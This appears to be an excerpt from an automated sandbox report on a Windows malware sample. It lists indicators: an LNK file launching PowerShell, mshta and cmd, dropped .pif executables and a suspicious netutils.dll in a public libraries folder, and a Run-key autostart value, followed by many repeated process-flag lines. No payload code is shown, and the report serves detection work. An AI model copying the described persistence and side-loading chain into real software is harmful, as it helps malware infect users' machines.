Source: 23.2.bwsiuvcU.pif.3ede6478.5.raw.unpack, wrQqF835PFmCSFtGtO.cs	High entropy of concatenated method names: 'ICAyBoI8nQ', 'KDikMXewCI', 'L8eyiSD8RZ', 'NWhy3UvHJp', 'hrcyqFProH', 'xbkytiDasQ', 'cE1voes021ZUN', 'ErtcfHgK7I', 'NFQcC8bA4F', 'TE6czWL5Zk'
Source: 23.2.bwsiuvcU.pif.409c0000.8.raw.unpack, wrQqF835PFmCSFtGtO.cs	High entropy of concatenated method names: 'ICAyBoI8nQ', 'KDikMXewCI', 'L8eyiSD8RZ', 'NWhy3UvHJp', 'hrcyqFProH', 'xbkytiDasQ', 'cE1voes021ZUN', 'ErtcfHgK7I', 'NFQcC8bA4F', 'TE6czWL5Zk'

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\mshta.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\mshta.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe	Jump to behavior

Drops PE files with a suspicious file extension

Source: C:\Users\user\AppData\Roaming\uc.exe	File created: C:\Users\Public\Libraries\bwsiuvcU.pif			Jump to dropped file
Source: C:\Windows\SysWOW64\extrac32.exe	File created: C:\Users\Public\Libraries\Ucvuiswb.PIF			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\uc.exe	File created: C:\Users\Public\Libraries\bwsiuvcU.pif	Jump to dropped file
Source: C:\Windows\SysWOW64\extrac32.exe	File created: C:\Users\Public\Libraries\Ucvuiswb.PIF	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\uc.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\uc.exe	File created: C:\Users\Public\Libraries\easinvoker.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\uc.exe	File created: C:\Users\Public\Libraries\netutils.dll	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\uc.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Ucvuiswb			Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Ucvuiswb			Jump to behavior

Source: C:\Users\user\AppData\Roaming\uc.exe

Code function: 19_2_02999B94 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

19_2_02999B94

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
